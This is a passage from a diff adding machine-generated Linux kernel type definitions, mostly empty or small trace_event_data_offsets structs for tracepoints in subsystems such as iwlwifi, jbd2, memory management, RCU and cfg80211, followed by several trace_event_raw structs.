trace_event_data_offsets_iwlwifi_dev_ucode_cont_event { + u32 dev; + const void *dev_ptr_; +}; + +struct trace_event_data_offsets_iwlwifi_dev_ucode_event { + u32 dev; + const void *dev_ptr_; +}; + +struct trace_event_data_offsets_iwlwifi_dev_ucode_wrap_event { + u32 dev; + const void *dev_ptr_; +}; + +struct trace_event_data_offsets_iwlwifi_msg_event { + u32 msg; + const void *msg_ptr_; +}; + +struct trace_event_data_offsets_jbd2_checkpoint {}; + +struct trace_event_data_offsets_jbd2_checkpoint_stats {}; + +struct trace_event_data_offsets_jbd2_commit {}; + +struct trace_event_data_offsets_jbd2_end_commit {}; + +struct trace_event_data_offsets_jbd2_handle_extend {}; + +struct trace_event_data_offsets_jbd2_handle_start_class {}; + +struct trace_event_data_offsets_jbd2_handle_stats {}; + +struct trace_event_data_offsets_jbd2_journal_shrink {}; + +struct trace_event_data_offsets_jbd2_lock_buffer_stall {}; + +struct trace_event_data_offsets_jbd2_run_stats {}; + +struct trace_event_data_offsets_jbd2_shrink_checkpoint_list {}; + +struct trace_event_data_offsets_jbd2_shrink_scan_exit {}; + +struct trace_event_data_offsets_jbd2_submit_inode_data {}; + +struct trace_event_data_offsets_jbd2_update_log_tail {}; + +struct trace_event_data_offsets_jbd2_write_superblock {}; + +struct trace_event_data_offsets_kcompactd_wake_template {}; + +struct trace_event_data_offsets_key_handle {}; + +struct trace_event_data_offsets_kfree {}; + +struct trace_event_data_offsets_kfree_skb {}; + +struct trace_event_data_offsets_kmalloc {}; + +struct trace_event_data_offsets_kmem_cache_alloc {}; + +struct trace_event_data_offsets_kmem_cache_free { + u32 name; + const void *name_ptr_; +}; + +struct trace_event_data_offsets_kyber_adjust {}; + +struct trace_event_data_offsets_kyber_latency {}; + +struct trace_event_data_offsets_kyber_throttled {}; + +struct trace_event_data_offsets_leases_conflict {}; + +struct trace_event_data_offsets_link_station_add_mod { + u32 supported_rates; + const void *supported_rates_ptr_; + u32 he_capa; + const void *he_capa_ptr_; + u32 eht_capa; + const void *eht_capa_ptr_; +}; + +struct trace_event_data_offsets_local_chanctx {}; + +struct trace_event_data_offsets_local_only_evt {}; + +struct trace_event_data_offsets_local_sdata_addr_evt { + u32 vif_name; + const void *vif_name_ptr_; +}; + +struct trace_event_data_offsets_local_sdata_chanctx { + u32 vif_name; + const void *vif_name_ptr_; +}; + +struct trace_event_data_offsets_local_sdata_evt { + u32 vif_name; + const void *vif_name_ptr_; +}; + +struct trace_event_data_offsets_local_u32_evt {}; + +struct trace_event_data_offsets_lock { + u32 name; + const void *name_ptr_; +}; + +struct trace_event_data_offsets_lock_acquire { + u32 name; + const void *name_ptr_; +}; + +struct trace_event_data_offsets_locks_get_lock_context {}; + +struct trace_event_data_offsets_ma_op {}; + +struct trace_event_data_offsets_ma_read {}; + +struct trace_event_data_offsets_ma_write {}; + +struct trace_event_data_offsets_mark_victim { + u32 comm; + const void *comm_ptr_; +}; + +struct trace_event_data_offsets_mdio_access {}; + +struct trace_event_data_offsets_mem_connect {}; + +struct trace_event_data_offsets_mem_disconnect {}; + +struct trace_event_data_offsets_mem_return_failed {}; + +struct trace_event_data_offsets_mgd_prepare_complete_tx_evt { + u32 vif_name; + const void *vif_name_ptr_; +}; + +struct trace_event_data_offsets_migration_pmd {}; + +struct trace_event_data_offsets_migration_pte {}; + +struct trace_event_data_offsets_mm_alloc_contig_migrate_range_info {}; + +struct trace_event_data_offsets_mm_collapse_huge_page {}; + +struct trace_event_data_offsets_mm_collapse_huge_page_isolate {}; + +struct trace_event_data_offsets_mm_collapse_huge_page_swapin {}; + +struct trace_event_data_offsets_mm_compaction_begin {}; + +struct trace_event_data_offsets_mm_compaction_defer_template {}; + +struct trace_event_data_offsets_mm_compaction_end {}; + +struct trace_event_data_offsets_mm_compaction_isolate_template {}; + +struct trace_event_data_offsets_mm_compaction_kcompactd_sleep {}; + +struct trace_event_data_offsets_mm_compaction_migratepages {}; + +struct trace_event_data_offsets_mm_compaction_suitable_template {}; + +struct trace_event_data_offsets_mm_compaction_try_to_compact_pages {}; + +struct trace_event_data_offsets_mm_filemap_fault {}; + +struct trace_event_data_offsets_mm_filemap_op_page_cache {}; + +struct trace_event_data_offsets_mm_filemap_op_page_cache_range {}; + +struct trace_event_data_offsets_mm_khugepaged_collapse_file { + u32 filename; + const void *filename_ptr_; +}; + +struct trace_event_data_offsets_mm_khugepaged_scan_file { + u32 filename; + const void *filename_ptr_; +}; + +struct trace_event_data_offsets_mm_khugepaged_scan_pmd {}; + +struct trace_event_data_offsets_mm_lru_activate {}; + +struct trace_event_data_offsets_mm_lru_insertion {}; + +struct trace_event_data_offsets_mm_migrate_pages {}; + +struct trace_event_data_offsets_mm_migrate_pages_start {}; + +struct trace_event_data_offsets_mm_page {}; + +struct trace_event_data_offsets_mm_page_alloc {}; + +struct trace_event_data_offsets_mm_page_alloc_extfrag {}; + +struct trace_event_data_offsets_mm_page_free {}; + +struct trace_event_data_offsets_mm_page_free_batched {}; + +struct trace_event_data_offsets_mm_page_pcpu_drain {}; + +struct trace_event_data_offsets_mm_shrink_slab_end {}; + +struct trace_event_data_offsets_mm_shrink_slab_start {}; + +struct trace_event_data_offsets_mm_vmscan_direct_reclaim_begin_template {}; + +struct trace_event_data_offsets_mm_vmscan_direct_reclaim_end_template {}; + +struct trace_event_data_offsets_mm_vmscan_kswapd_sleep {}; + +struct trace_event_data_offsets_mm_vmscan_kswapd_wake {}; + +struct trace_event_data_offsets_mm_vmscan_lru_isolate {}; + +struct trace_event_data_offsets_mm_vmscan_lru_shrink_active {}; + +struct trace_event_data_offsets_mm_vmscan_lru_shrink_inactive {}; + +struct trace_event_data_offsets_mm_vmscan_node_reclaim_begin {}; + +struct trace_event_data_offsets_mm_vmscan_throttled {}; + +struct trace_event_data_offsets_mm_vmscan_wakeup_kswapd {}; + +struct trace_event_data_offsets_mm_vmscan_write_folio {}; + +struct trace_event_data_offsets_mmap_lock { + u32 memcg_path; + const void *memcg_path_ptr_; +}; + +struct trace_event_data_offsets_mmap_lock_acquire_returned { + u32 memcg_path; + const void *memcg_path_ptr_; +}; + +struct trace_event_data_offsets_module_free { + u32 name; + const void *name_ptr_; +}; + +struct trace_event_data_offsets_module_load { + u32 name; + const void *name_ptr_; +}; + +struct trace_event_data_offsets_module_refcnt { + u32 name; + const void *name_ptr_; +}; + +struct trace_event_data_offsets_module_request { + u32 name; + const void *name_ptr_; +}; + +struct trace_event_data_offsets_mpath_evt {}; + +struct trace_event_data_offsets_msr_trace_class {}; + +struct trace_event_data_offsets_napi_poll { + u32 dev_name; + const void *dev_name_ptr_; +}; + +struct trace_event_data_offsets_neigh__update { + u32 dev; + const void *dev_ptr_; +}; + +struct trace_event_data_offsets_neigh_create { + u32 dev; + const void *dev_ptr_; +}; + +struct trace_event_data_offsets_neigh_update { + u32 dev; + const void *dev_ptr_; +}; + +struct trace_event_data_offsets_net_dev_rx_exit_template {}; + +struct trace_event_data_offsets_net_dev_rx_verbose_template { + u32 name; + const void *name_ptr_; +}; + +struct trace_event_data_offsets_net_dev_start_xmit { + u32 name; + const void *name_ptr_; +}; + +struct trace_event_data_offsets_net_dev_template { + u32 name; + const void *name_ptr_; +}; + +struct trace_event_data_offsets_net_dev_xmit { + u32 name; + const void *name_ptr_; +}; + +struct trace_event_data_offsets_net_dev_xmit_timeout { + u32 name; + const void *name_ptr_; + u32 driver; + const void *driver_ptr_; +}; + +struct trace_event_data_offsets_netdev_evt_only {}; + +struct trace_event_data_offsets_netdev_frame_event { + u32 frame; + const void *frame_ptr_; +}; + +struct trace_event_data_offsets_netdev_mac_evt {}; + +struct trace_event_data_offsets_netlink_extack { + u32 msg; + const void *msg_ptr_; +}; + +struct trace_event_data_offsets_nmi_handler {}; + +struct trace_event_data_offsets_notifier_info {}; + +struct trace_event_data_offsets_nvme_async_event {}; + +struct trace_event_data_offsets_nvme_complete_rq {}; + +struct trace_event_data_offsets_nvme_setup_cmd {}; + +struct trace_event_data_offsets_nvme_sq {}; + +struct trace_event_data_offsets_oom_score_adj_update {}; + +struct trace_event_data_offsets_page_pool_release {}; + +struct trace_event_data_offsets_page_pool_state_hold {}; + +struct trace_event_data_offsets_page_pool_state_release {}; + +struct trace_event_data_offsets_page_pool_update_nid {}; + +struct trace_event_data_offsets_percpu_alloc_percpu {}; + +struct trace_event_data_offsets_percpu_alloc_percpu_fail {}; + +struct trace_event_data_offsets_percpu_create_chunk {}; + +struct trace_event_data_offsets_percpu_destroy_chunk {}; + +struct trace_event_data_offsets_percpu_free_percpu {}; + +struct trace_event_data_offsets_pm_qos_update {}; + +struct trace_event_data_offsets_power_domain { + u32 name; + const void *name_ptr_; +}; + +struct trace_event_data_offsets_powernv_throttle { + u32 reason; + const void *reason_ptr_; +}; + +struct trace_event_data_offsets_preemptirq_template {}; + +struct trace_event_data_offsets_pstate_sample {}; + +struct trace_event_data_offsets_purge_vmap_area_lazy {}; + +struct trace_event_data_offsets_qdisc_create { + u32 dev; + const void *dev_ptr_; + u32 kind; + const void *kind_ptr_; +}; + +struct trace_event_data_offsets_qdisc_dequeue {}; + +struct trace_event_data_offsets_qdisc_destroy { + u32 dev; + const void *dev_ptr_; + u32 kind; + const void *kind_ptr_; +}; + +struct trace_event_data_offsets_qdisc_enqueue {}; + +struct trace_event_data_offsets_qdisc_reset { + u32 dev; + const void *dev_ptr_; + u32 kind; + const void *kind_ptr_; +}; + +struct trace_event_data_offsets_qgroup_meta_convert {}; + +struct trace_event_data_offsets_qgroup_meta_free_all_pertrans {}; + +struct trace_event_data_offsets_qgroup_meta_reserve {}; + +struct trace_event_data_offsets_qgroup_num_dirty_extents {}; + +struct trace_event_data_offsets_qgroup_update_counters {}; + +struct trace_event_data_offsets_qgroup_update_reserve {}; + +struct trace_event_data_offsets_rcu_barrier {}; + +struct trace_event_data_offsets_rcu_batch_end {}; + +struct trace_event_data_offsets_rcu_batch_start {}; + +struct trace_event_data_offsets_rcu_callback {}; + +struct trace_event_data_offsets_rcu_exp_funnel_lock {}; + +struct trace_event_data_offsets_rcu_exp_grace_period {}; + +struct trace_event_data_offsets_rcu_fqs {}; + +struct trace_event_data_offsets_rcu_future_grace_period {}; + +struct trace_event_data_offsets_rcu_grace_period {}; + +struct trace_event_data_offsets_rcu_grace_period_init {}; + +struct trace_event_data_offsets_rcu_invoke_callback {}; + +struct trace_event_data_offsets_rcu_invoke_kfree_bulk_callback {}; + +struct trace_event_data_offsets_rcu_invoke_kvfree_callback {}; + +struct trace_event_data_offsets_rcu_kvfree_callback {}; + +struct trace_event_data_offsets_rcu_nocb_wake {}; + +struct trace_event_data_offsets_rcu_preempt_task {}; + +struct trace_event_data_offsets_rcu_quiescent_state_report {}; + +struct trace_event_data_offsets_rcu_segcb_stats {}; + +struct trace_event_data_offsets_rcu_sr_normal {}; + +struct trace_event_data_offsets_rcu_stall_warning {}; + +struct trace_event_data_offsets_rcu_torture_read {}; + +struct trace_event_data_offsets_rcu_unlock_preempted_task {}; + +struct trace_event_data_offsets_rcu_utilization {}; + +struct trace_event_data_offsets_rcu_watching {}; + +struct trace_event_data_offsets_rdev_add_key {}; + +struct trace_event_data_offsets_rdev_add_nan_func {}; + +struct trace_event_data_offsets_rdev_add_tx_ts {}; + +struct trace_event_data_offsets_rdev_add_virtual_intf { + u32 vir_intf_name; + const void *vir_intf_name_ptr_; +}; + +struct trace_event_data_offsets_rdev_assoc { + u32 elements; + const void *elements_ptr_; + u32 fils_kek; + const void *fils_kek_ptr_; + u32 fils_nonces; + const void *fils_nonces_ptr_; +}; + +struct trace_event_data_offsets_rdev_auth {}; + +struct trace_event_data_offsets_rdev_cancel_remain_on_channel {}; + +struct trace_event_data_offsets_rdev_change_beacon { + u32 head; + const void *head_ptr_; + u32 tail; + const void *tail_ptr_; + u32 beacon_ies; + const void *beacon_ies_ptr_; + u32 proberesp_ies; + const void *proberesp_ies_ptr_; + u32 assocresp_ies; + const void *assocresp_ies_ptr_; + u32 probe_resp; + const void *probe_resp_ptr_; +}; + +struct trace_event_data_offsets_rdev_change_bss {}; + +struct trace_event_data_offsets_rdev_change_virtual_intf {}; + +struct trace_event_data_offsets_rdev_channel_switch { + u32 bcn_ofs; + const void *bcn_ofs_ptr_; + u32 pres_ofs; + const void *pres_ofs_ptr_; +}; + +struct trace_event_data_offsets_rdev_color_change {}; + +struct trace_event_data_offsets_rdev_connect {}; + +struct trace_event_data_offsets_rdev_crit_proto_start {}; + +struct trace_event_data_offsets_rdev_crit_proto_stop {}; + +struct trace_event_data_offsets_rdev_deauth {}; + +struct trace_event_data_offsets_rdev_del_link_station {}; + +struct trace_event_data_offsets_rdev_del_nan_func {}; + +struct trace_event_data_offsets_rdev_del_pmk {}; + +struct trace_event_data_offsets_rdev_del_tx_ts {}; + +struct trace_event_data_offsets_rdev_disassoc {}; + +struct trace_event_data_offsets_rdev_disconnect {}; + +struct trace_event_data_offsets_rdev_dump_mpath {}; + +struct trace_event_data_offsets_rdev_dump_mpp {}; + +struct trace_event_data_offsets_rdev_dump_station {}; + +struct trace_event_data_offsets_rdev_dump_survey {}; + +struct trace_event_data_offsets_rdev_end_cac {}; + +struct trace_event_data_offsets_rdev_external_auth {}; + +struct trace_event_data_offsets_rdev_get_ftm_responder_stats {}; + +struct trace_event_data_offsets_rdev_get_mpp {}; + +struct trace_event_data_offsets_rdev_inform_bss {}; + +struct trace_event_data_offsets_rdev_join_ibss {}; + +struct trace_event_data_offsets_rdev_join_mesh {}; + +struct trace_event_data_offsets_rdev_join_ocb {}; + +struct trace_event_data_offsets_rdev_libertas_set_mesh_channel {}; + +struct trace_event_data_offsets_rdev_mgmt_tx {}; + +struct trace_event_data_offsets_rdev_mgmt_tx_cancel_wait {}; + +struct trace_event_data_offsets_rdev_nan_change_conf {}; + +struct trace_event_data_offsets_rdev_pmksa {}; + +struct trace_event_data_offsets_rdev_probe_client {}; + +struct trace_event_data_offsets_rdev_probe_mesh_link {}; + +struct trace_event_data_offsets_rdev_remain_on_channel {}; + +struct trace_event_data_offsets_rdev_reset_tid_config {}; + +struct trace_event_data_offsets_rdev_return_chandef {}; + +struct trace_event_data_offsets_rdev_return_int {}; + +struct trace_event_data_offsets_rdev_return_int_cookie {}; + +struct trace_event_data_offsets_rdev_return_int_int {}; + +struct trace_event_data_offsets_rdev_return_int_mesh_config {}; + +struct trace_event_data_offsets_rdev_return_int_mpath_info {}; + +struct trace_event_data_offsets_rdev_return_int_station_info {}; + +struct trace_event_data_offsets_rdev_return_int_survey_info {}; + +struct trace_event_data_offsets_rdev_return_int_tx_rx {}; + +struct trace_event_data_offsets_rdev_return_void_tx_rx {}; + +struct trace_event_data_offsets_rdev_scan {}; + +struct trace_event_data_offsets_rdev_set_ap_chanwidth {}; + +struct trace_event_data_offsets_rdev_set_bitrate_mask {}; + +struct trace_event_data_offsets_rdev_set_coalesce {}; + +struct trace_event_data_offsets_rdev_set_cqm_rssi_config {}; + +struct trace_event_data_offsets_rdev_set_cqm_rssi_range_config {}; + +struct trace_event_data_offsets_rdev_set_cqm_txe_config {}; + +struct trace_event_data_offsets_rdev_set_default_beacon_key {}; + +struct trace_event_data_offsets_rdev_set_default_key {}; + +struct trace_event_data_offsets_rdev_set_default_mgmt_key {}; + +struct trace_event_data_offsets_rdev_set_fils_aad {}; + +struct trace_event_data_offsets_rdev_set_hw_timestamp {}; + +struct trace_event_data_offsets_rdev_set_mac_acl {}; + +struct trace_event_data_offsets_rdev_set_mcast_rate {}; + +struct trace_event_data_offsets_rdev_set_monitor_channel {}; + +struct trace_event_data_offsets_rdev_set_multicast_to_unicast {}; + +struct trace_event_data_offsets_rdev_set_noack_map {}; + +struct trace_event_data_offsets_rdev_set_pmk { + u32 pmk; + const void *pmk_ptr_; + u32 pmk_r0_name; + const void *pmk_r0_name_ptr_; +}; + +struct trace_event_data_offsets_rdev_set_power_mgmt {}; + +struct trace_event_data_offsets_rdev_set_qos_map {}; + +struct trace_event_data_offsets_rdev_set_radar_background {}; + +struct trace_event_data_offsets_rdev_set_sar_specs {}; + +struct trace_event_data_offsets_rdev_set_tid_config {}; + +struct trace_event_data_offsets_rdev_set_ttlm {}; + +struct trace_event_data_offsets_rdev_set_tx_power {}; + +struct trace_event_data_offsets_rdev_set_txq_params {}; + +struct trace_event_data_offsets_rdev_set_wiphy_params {}; + +struct trace_event_data_offsets_rdev_start_ap {}; + +struct trace_event_data_offsets_rdev_start_nan {}; + +struct trace_event_data_offsets_rdev_start_radar_detection {}; + +struct trace_event_data_offsets_rdev_stop_ap {}; + +struct trace_event_data_offsets_rdev_suspend {}; + +struct trace_event_data_offsets_rdev_tdls_cancel_channel_switch {}; + +struct trace_event_data_offsets_rdev_tdls_channel_switch {}; + +struct trace_event_data_offsets_rdev_tdls_mgmt { + u32 buf; + const void *buf_ptr_; +}; + +struct trace_event_data_offsets_rdev_tdls_oper {}; + +struct trace_event_data_offsets_rdev_tx_control_port {}; + +struct trace_event_data_offsets_rdev_update_connect_params {}; + +struct trace_event_data_offsets_rdev_update_ft_ies { + u32 ie; + const void *ie_ptr_; +}; + +struct trace_event_data_offsets_rdev_update_mesh_config {}; + +struct trace_event_data_offsets_rdev_update_mgmt_frame_registrations {}; + +struct trace_event_data_offsets_rdev_update_owe_info { + u32 ie; + const void *ie_ptr_; +}; + +struct trace_event_data_offsets_reclaim_retry_zone {}; + +struct trace_event_data_offsets_release_evt {}; + +struct trace_event_data_offsets_rpm_internal { + u32 name; + const void *name_ptr_; +}; + +struct trace_event_data_offsets_rpm_return_int { + u32 name; + const void *name_ptr_; +}; + +struct trace_event_data_offsets_rpm_status { + u32 name; + const void *name_ptr_; +}; + +struct trace_event_data_offsets_rseq_ip_fixup {}; + +struct trace_event_data_offsets_rseq_update {}; + +struct trace_event_data_offsets_rss_stat {}; + +struct trace_event_data_offsets_rtc_alarm_irq_enable {}; + +struct trace_event_data_offsets_rtc_irq_set_freq {}; + +struct trace_event_data_offsets_rtc_irq_set_state {}; + +struct trace_event_data_offsets_rtc_offset_class {}; + +struct trace_event_data_offsets_rtc_time_alarm_class {}; + +struct trace_event_data_offsets_rtc_timer_class {}; + +struct trace_event_data_offsets_sched_ext_dump { + u32 line; + const void *line_ptr_; +}; + +struct trace_event_data_offsets_sched_kthread_stop {}; + +struct trace_event_data_offsets_sched_kthread_stop_ret {}; + +struct trace_event_data_offsets_sched_kthread_work_execute_end {}; + +struct trace_event_data_offsets_sched_kthread_work_execute_start {}; + +struct trace_event_data_offsets_sched_kthread_work_queue_work {}; + +struct trace_event_data_offsets_sched_migrate_task {}; + +struct trace_event_data_offsets_sched_move_numa {}; + +struct trace_event_data_offsets_sched_numa_pair_template {}; + +struct trace_event_data_offsets_sched_pi_setprio {}; + +struct trace_event_data_offsets_sched_prepare_exec { + u32 interp; + const void *interp_ptr_; + u32 filename; + const void *filename_ptr_; + u32 comm; + const void *comm_ptr_; +}; + +struct trace_event_data_offsets_sched_process_exec { + u32 filename; + const void *filename_ptr_; +}; + +struct trace_event_data_offsets_sched_process_fork {}; + +struct trace_event_data_offsets_sched_process_hang {}; + +struct trace_event_data_offsets_sched_process_template {}; + +struct trace_event_data_offsets_sched_process_wait {}; + +struct trace_event_data_offsets_sched_stat_runtime {}; + +struct trace_event_data_offsets_sched_switch {}; + +struct trace_event_data_offsets_sched_wake_idle_without_ipi {}; + +struct trace_event_data_offsets_sched_wakeup_template {}; + +struct trace_event_data_offsets_scsi_cmd_done_timeout_template { + u32 cmnd; + const void *cmnd_ptr_; +}; + +struct trace_event_data_offsets_scsi_dispatch_cmd_error { + u32 cmnd; + const void *cmnd_ptr_; +}; + +struct trace_event_data_offsets_scsi_dispatch_cmd_start { + u32 cmnd; + const void *cmnd_ptr_; +}; + +struct trace_event_data_offsets_scsi_eh_wakeup {}; + +struct trace_event_data_offsets_signal_deliver {}; + +struct trace_event_data_offsets_signal_generate {}; + +struct trace_event_data_offsets_sk_data_ready {}; + +struct trace_event_data_offsets_skb_copy_datagram_iovec {}; + +struct trace_event_data_offsets_skip_task_reaping {}; + +struct trace_event_data_offsets_smbus_read {}; + +struct trace_event_data_offsets_smbus_reply {}; + +struct trace_event_data_offsets_smbus_result {}; + +struct trace_event_data_offsets_smbus_write {}; + +struct trace_event_data_offsets_sock_exceed_buf_limit {}; + +struct trace_event_data_offsets_sock_msg_length {}; + +struct trace_event_data_offsets_sock_rcvqueue_full {}; + +struct trace_event_data_offsets_softirq {}; + +struct trace_event_data_offsets_sta_event { + u32 vif_name; + const void *vif_name_ptr_; +}; + +struct trace_event_data_offsets_sta_flag_evt { + u32 vif_name; + const void *vif_name_ptr_; +}; + +struct trace_event_data_offsets_start_task_reaping {}; + +struct trace_event_data_offsets_station_add_change { + u32 supported_rates; + const void *supported_rates_ptr_; + u32 ext_capab; + const void *ext_capab_ptr_; + u32 supported_channels; + const void *supported_channels_ptr_; + u32 supported_oper_classes; + const void *supported_oper_classes_ptr_; +}; + +struct trace_event_data_offsets_station_del {}; + +struct trace_event_data_offsets_stop_queue {}; + +struct trace_event_data_offsets_suspend_resume {}; + +struct trace_event_data_offsets_swiotlb_bounced { + u32 dev_name; + const void *dev_name_ptr_; +}; + +struct trace_event_data_offsets_sys_enter {}; + +struct trace_event_data_offsets_sys_exit {}; + +struct trace_event_data_offsets_task_newtask {}; + +struct trace_event_data_offsets_task_rename {}; + +struct trace_event_data_offsets_tasklet {}; + +struct trace_event_data_offsets_tcp_ao_event {}; + +struct trace_event_data_offsets_tcp_ao_event_sk {}; + +struct trace_event_data_offsets_tcp_ao_event_sne {}; + +struct trace_event_data_offsets_tcp_cong_state_set {}; + +struct trace_event_data_offsets_tcp_event_sk {}; + +struct trace_event_data_offsets_tcp_event_sk_skb {}; + +struct trace_event_data_offsets_tcp_event_skb {}; + +struct trace_event_data_offsets_tcp_hash_event {}; + +struct trace_event_data_offsets_tcp_probe {}; + +struct trace_event_data_offsets_tcp_retransmit_synack {}; + +struct trace_event_data_offsets_tcp_send_reset {}; + +struct trace_event_data_offsets_thermal_temperature { + u32 thermal_zone; + const void *thermal_zone_ptr_; +}; + +struct trace_event_data_offsets_thermal_zone_trip { + u32 thermal_zone; + const void *thermal_zone_ptr_; +}; + +struct trace_event_data_offsets_tick_stop {}; + +struct trace_event_data_offsets_timer_base_idle {}; + +struct trace_event_data_offsets_timer_class {}; + +struct trace_event_data_offsets_timer_expire_entry {}; + +struct trace_event_data_offsets_timer_start {}; + +struct trace_event_data_offsets_tlb_flush {}; + +struct trace_event_data_offsets_tmigr_connect_child_parent {}; + +struct trace_event_data_offsets_tmigr_connect_cpu_parent {}; + +struct trace_event_data_offsets_tmigr_cpugroup {}; + +struct trace_event_data_offsets_tmigr_group_and_cpu {}; + +struct trace_event_data_offsets_tmigr_group_set {}; + +struct trace_event_data_offsets_tmigr_handle_remote {}; + +struct trace_event_data_offsets_tmigr_idle {}; + +struct trace_event_data_offsets_tmigr_update_events {}; + +struct trace_event_data_offsets_track_foreign_dirty {}; + +struct trace_event_data_offsets_tx_rx_evt {}; + +struct trace_event_data_offsets_udp_fail_queue_rcv_skb {}; + +struct trace_event_data_offsets_vector_activate {}; + +struct trace_event_data_offsets_vector_alloc {}; + +struct trace_event_data_offsets_vector_alloc_managed {}; + +struct trace_event_data_offsets_vector_config {}; + +struct trace_event_data_offsets_vector_free_moved {}; + +struct trace_event_data_offsets_vector_mod {}; + +struct trace_event_data_offsets_vector_reserve {}; + +struct trace_event_data_offsets_vector_setup {}; + +struct trace_event_data_offsets_vector_teardown {}; + +struct trace_event_data_offsets_vm_unmapped_area {}; + +struct trace_event_data_offsets_vma_mas_szero {}; + +struct trace_event_data_offsets_vma_store {}; + +struct trace_event_data_offsets_wake_queue {}; + +struct trace_event_data_offsets_wake_reaper {}; + +struct trace_event_data_offsets_wakeup_source { + u32 name; + const void *name_ptr_; +}; + +struct trace_event_data_offsets_wbc_class {}; + +struct trace_event_data_offsets_wbt_lat {}; + +struct trace_event_data_offsets_wbt_stat {}; + +struct trace_event_data_offsets_wbt_step {}; + +struct trace_event_data_offsets_wbt_timer {}; + +struct trace_event_data_offsets_wiphy_delayed_work_queue {}; + +struct trace_event_data_offsets_wiphy_enabled_evt {}; + +struct trace_event_data_offsets_wiphy_id_evt {}; + +struct trace_event_data_offsets_wiphy_netdev_evt {}; + +struct trace_event_data_offsets_wiphy_netdev_id_evt {}; + +struct trace_event_data_offsets_wiphy_netdev_mac_evt {}; + +struct trace_event_data_offsets_wiphy_only_evt {}; + +struct trace_event_data_offsets_wiphy_wdev_cookie_evt {}; + +struct trace_event_data_offsets_wiphy_wdev_evt {}; + +struct trace_event_data_offsets_wiphy_wdev_link_evt {}; + +struct trace_event_data_offsets_wiphy_work_event {}; + +struct trace_event_data_offsets_wiphy_work_worker_start {}; + +struct trace_event_data_offsets_workqueue_activate_work {}; + +struct trace_event_data_offsets_workqueue_execute_end {}; + +struct trace_event_data_offsets_workqueue_execute_start {}; + +struct trace_event_data_offsets_workqueue_queue_work { + u32 workqueue; + const void *workqueue_ptr_; +}; + +struct trace_event_data_offsets_writeback_bdi_register {}; + +struct trace_event_data_offsets_writeback_class {}; + +struct trace_event_data_offsets_writeback_dirty_inode_template {}; + +struct trace_event_data_offsets_writeback_folio_template {}; + +struct trace_event_data_offsets_writeback_inode_template {}; + +struct trace_event_data_offsets_writeback_pages_written {}; + +struct trace_event_data_offsets_writeback_queue_io {}; + +struct trace_event_data_offsets_writeback_sb_inodes_requeue {}; + +struct trace_event_data_offsets_writeback_single_inode_template {}; + +struct trace_event_data_offsets_writeback_work_class {}; + +struct trace_event_data_offsets_writeback_write_inode_template {}; + +struct trace_event_data_offsets_x86_exceptions {}; + +struct trace_event_data_offsets_x86_fpu {}; + +struct trace_event_data_offsets_x86_irq_vector {}; + +struct trace_event_data_offsets_xdp_bulk_tx {}; + +struct trace_event_data_offsets_xdp_cpumap_enqueue {}; + +struct trace_event_data_offsets_xdp_cpumap_kthread {}; + +struct trace_event_data_offsets_xdp_devmap_xmit {}; + +struct trace_event_data_offsets_xdp_exception {}; + +struct trace_event_data_offsets_xdp_redirect_template {}; + +struct trace_event_data_offsets_xhci_dbc_log_request {}; + +struct trace_event_data_offsets_xhci_log_ctrl_ctx {}; + +struct trace_event_data_offsets_xhci_log_ctx { + u32 ctx_data; + const void *ctx_data_ptr_; +}; + +struct trace_event_data_offsets_xhci_log_doorbell {}; + +struct trace_event_data_offsets_xhci_log_ep_ctx {}; + +struct trace_event_data_offsets_xhci_log_free_virt_dev {}; + +struct trace_event_data_offsets_xhci_log_msg { + u32 msg; + const void *msg_ptr_; +}; + +struct trace_event_data_offsets_xhci_log_portsc {}; + +struct trace_event_data_offsets_xhci_log_ring {}; + +struct trace_event_data_offsets_xhci_log_slot_ctx {}; + +struct trace_event_data_offsets_xhci_log_trb {}; + +struct trace_event_data_offsets_xhci_log_urb { + u32 devname; + const void *devname_ptr_; +}; + +struct trace_event_data_offsets_xhci_log_virt_dev {}; + +struct trace_event_fields { + const char *type; + union { + struct { + const char *name; + const int size; + const int align; + const int is_signed; + const int filter_type; + const int len; + }; + int (*define_fields)(struct trace_event_call *); + }; +}; + +struct trace_subsystem_dir; + +struct trace_event_file { + struct list_head list; + struct trace_event_call *event_call; + struct event_filter __attribute__((btf_type_tag("rcu"))) *filter; + struct eventfs_inode *ei; + struct trace_array *tr; + struct trace_subsystem_dir *system; + struct list_head triggers; + unsigned long flags; + refcount_t ref; + atomic_t sm_ref; + atomic_t tm_ref; +}; + +typedef enum print_line_t (*trace_print_func)(struct trace_iterator *, int, struct trace_event *); + +struct trace_event_functions { + trace_print_func trace; + trace_print_func raw; + trace_print_func hex; + trace_print_func binary; +}; + +struct trace_event_raw_alarm_class { + struct trace_entry ent; + void *alarm; + unsigned char alarm_type; + s64 expires; + s64 now; + char __data[0]; +}; + +struct trace_event_raw_alarmtimer_suspend { + struct trace_entry ent; + s64 expires; + unsigned char alarm_type; + char __data[0]; +}; + +struct trace_event_raw_alloc_extent_state { + struct trace_entry ent; + const struct extent_state *state; + unsigned long mask; + const void *ip; + char __data[0]; +}; + +struct trace_event_raw_alloc_vmap_area { + struct trace_entry ent; + unsigned long addr; + unsigned long size; + unsigned long align; + unsigned long vstart; + unsigned long vend; + int failed; + char __data[0]; +}; + +struct trace_event_raw_amd_pstate_perf { + struct trace_entry ent; + unsigned long min_perf; + unsigned long target_perf; + unsigned long capacity; + unsigned long long freq; + unsigned long long mperf; + unsigned long long aperf; + unsigned long long tsc; + unsigned int cpu_id; + bool changed; + bool fast_switch; + char __data[0]; +}; + +struct trace_event_raw_api_beacon_loss { + struct trace_entry ent; + enum nl80211_iftype vif_type; + void *sdata; + bool p2p; + u32 __data_loc_vif_name; + char __data[0]; +}; + +struct trace_event_raw_api_chswitch_done { + struct trace_entry ent; + enum nl80211_iftype vif_type; + void *sdata; + bool p2p; + u32 __data_loc_vif_name; + bool success; + unsigned int link_id; + char __data[0]; +}; + +struct trace_event_raw_api_connection_loss { + struct trace_entry ent; + enum nl80211_iftype vif_type; + void *sdata; + bool p2p; + u32 __data_loc_vif_name; + char __data[0]; +}; + +struct trace_event_raw_api_cqm_rssi_notify { + struct trace_entry ent; + enum nl80211_iftype vif_type; + void *sdata; + bool p2p; + u32 __data_loc_vif_name; + u32 rssi_event; + s32 rssi_level; + char __data[0]; +}; + +struct trace_event_raw_api_disconnect { + struct trace_entry ent; + enum nl80211_iftype vif_type; + void *sdata; + bool p2p; + u32 __data_loc_vif_name; + int reconnect; + char __data[0]; +}; + +struct trace_event_raw_api_enable_rssi_reports { + struct trace_entry ent; + enum nl80211_iftype vif_type; + void *sdata; + bool p2p; + u32 __data_loc_vif_name; + int rssi_min_thold; + int 